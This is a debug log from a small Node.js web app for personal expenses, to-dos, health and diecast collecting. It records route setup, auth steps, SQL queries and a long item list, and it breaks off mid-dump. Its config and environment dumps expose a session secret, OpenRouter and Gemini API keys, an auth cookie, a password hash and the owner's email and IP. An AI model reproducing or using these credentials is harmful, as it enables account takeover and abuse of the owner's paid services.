2026-07-12T02:18:37.719Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-12T02:18:37.719Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-12T02:18:37.727Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-12T02:18:37.727Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-12T02:18:37.731Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-12T02:18:37.734Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-12T02:18:37.736Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-12T02:18:37.742Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-12T02:18:37.742Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-12T02:18:37.745Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-12T02:18:37.747Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-12T02:18:37.750Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-12T02:18:37.753Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-12T02:18:37.759Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-12T02:18:37.763Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-12T02:18:37.765Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-12T02:18:37.775Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-13T10:01:09.289Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-13T10:01:11.413Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-13T10:01:12.276Z server-connect:setup:upload Upload middleware configured.
2026-07-13T10:01:12.277Z server-connect:secure CSRF Protection initialized
2026-07-13T10:01:12.283Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-13T10:01:12.284Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-13T10:01:12.286Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-13T10:01:12.289Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-13T10:01:12.295Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-13T10:01:12.299Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-13T10:01:12.314Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-13T10:01:12.327Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-13T10:01:12.332Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-13T10:01:12.333Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-13T10:01:12.333Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-13T10:01:12.337Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-13T10:01:12.344Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-13T10:01:12.354Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-13T10:01:12.357Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-13T10:01:12.429Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-13T10:01:12.430Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-13T10:01:12.435Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-13T10:01:12.440Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-13T10:01:12.444Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-13T10:01:12.446Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-13T10:01:12.453Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-13T10:01:12.456Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-13T10:01:12.462Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-13T10:01:12.464Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-13T10:01:12.468Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-13T10:01:12.470Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-13T10:01:12.472Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-13T10:01:12.477Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-13T10:01:12.479Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-13T10:01:12.482Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-13T10:01:12.484Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-13T10:01:12.487Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-13T10:01:12.491Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-13T10:01:12.496Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-13T10:01:12.500Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-13T10:01:12.500Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-13T10:01:12.512Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-13T10:01:13.006Z server-connect:router Serving templateView /
2026-07-13T10:01:13.008Z server-connect:app Executing action step identify
2026-07-13T10:01:13.008Z server-connect:app options: { provider: 'security' }
2026-07-13T10:01:13.064Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-07-13T10:01:13.092Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-07-13T10:01:13.147Z server-connect:output identity: 1
2026-07-13T10:01:13.147Z server-connect:app Executing action step restrict
2026-07-13T10:01:13.148Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:01:13.149Z server-connect:output restrict: undefined
2026-07-13T10:01:13.149Z server-connect:app Executing action step restrict
2026-07-13T10:01:13.150Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:01:13.150Z server-connect:output restrict: undefined
2026-07-13T10:01:13.151Z server-connect:router Render template layouts/main
2026-07-13T10:01:13.151Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AdAm7BGcFfqLXaYO9AXNf0A%3D%3D.iInXcNeVCIMUi%2Fq1Kw5GhQWoyIcopn4hOO0h8%2BUb5x6yiVSkl4V22iTVHbgQTWNfwaDCL3zNbXPp%2Bpxrx8r%2FnAZ9RKnKThe72ZUYHUZwQZ5SYcvoyPcyXZxZVvA%2BtKvezq0gDQFGpHbW0g%2FIVsUDddl5B0uGlUn2l5fLJ5uXP8g%3D.Pn%2BtVDBdY6qPxmZEdHd3HZ%2FZ4H%2FiwjYo78luyWMEOOQ',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.003Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AdAm7BGcFfqLXaYO9AXNf0A%3D%3D.iInXcNeVCIMUi%2Fq1Kw5GhQWoyIcopn4hOO0h8%2BUb5x6yiVSkl4V22iTVHbgQTWNfwaDCL3zNbXPp%2Bpxrx8r%2FnAZ9RKnKThe72ZUYHUZwQZ5SYcvoyPcyXZxZVvA%2BtKvezq0gDQFGpHbW0g%2FIVsUDddl5B0uGlUn2l5fLJ5uXP8g%3D.Pn%2BtVDBdY6qPxmZEdHd3HZ%2FZ4H%2FiwjYo78luyWMEOOQ',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-07-13T10:01:15.791Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-13T10:01:15.793Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-13T10:01:15.794Z server-connect:app Executing action step identify
2026-07-13T10:01:15.794Z server-connect:app options: { provider: 'security' }
2026-07-13T10:01:15.794Z server-connect:output identity: 1
2026-07-13T10:01:15.794Z server-connect:app Executing action step restrict
2026-07-13T10:01:15.794Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:01:15.795Z server-connect:output restrict: undefined
2026-07-13T10:01:15.796Z server-connect:app Executing action step select
2026-07-13T10:01:15.796Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-13T10:01:15.799Z server-connect:app Executing action step identify
2026-07-13T10:01:15.799Z server-connect:app options: { provider: 'security' }
2026-07-13T10:01:15.799Z server-connect:output identity: 1
2026-07-13T10:01:15.799Z server-connect:app Executing action step restrict
2026-07-13T10:01:15.799Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:01:15.802Z server-connect:output restrict: undefined
2026-07-13T10:01:15.802Z server-connect:app Executing action step single
2026-07-13T10:01:15.802Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-13T10:01:15.806Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Kingfisher Beer',
    item_id: 766,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 600 more items
]
2026-07-13T10:01:15.808Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-07-13T10:02:12.207Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-13T10:02:12.409Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-13T10:02:12.493Z server-connect:setup:upload Upload middleware configured.
2026-07-13T10:02:12.493Z server-connect:secure CSRF Protection initialized
2026-07-13T10:02:12.495Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-13T10:02:12.496Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-13T10:02:12.496Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-13T10:02:12.497Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-13T10:02:12.497Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-13T10:02:12.498Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-13T10:02:12.500Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-13T10:02:12.501Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-13T10:02:12.502Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-13T10:02:12.502Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-13T10:02:12.502Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-13T10:02:12.503Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-13T10:02:12.503Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-13T10:02:12.504Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-13T10:02:12.504Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-13T10:02:12.507Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-13T10:02:12.507Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-13T10:02:12.507Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-13T10:02:12.508Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-13T10:02:12.508Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-13T10:02:12.508Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-13T10:02:12.509Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-13T10:02:12.509Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-13T10:02:12.509Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-13T10:02:12.509Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-13T10:02:12.510Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-13T10:02:12.510Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-13T10:02:12.510Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-13T10:02:12.510Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-13T10:02:12.511Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-13T10:02:12.511Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-13T10:02:12.511Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-13T10:02:12.511Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-13T10:02:12.511Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-13T10:02:12.512Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-13T10:02:12.512Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-13T10:02:12.512Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-13T10:02:12.512Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-13T10:02:12.641Z server-connect:router Serving templateView /diecast
2026-07-13T10:02:12.644Z server-connect:app Executing action step identify
2026-07-13T10:02:12.644Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:12.646Z server-connect:output identity: 1
2026-07-13T10:02:12.646Z server-connect:app Executing action step restrict
2026-07-13T10:02:12.646Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:02:12.648Z server-connect:output restrict: undefined
2026-07-13T10:02:12.648Z server-connect:router Render template diecast
2026-07-13T10:02:12.649Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
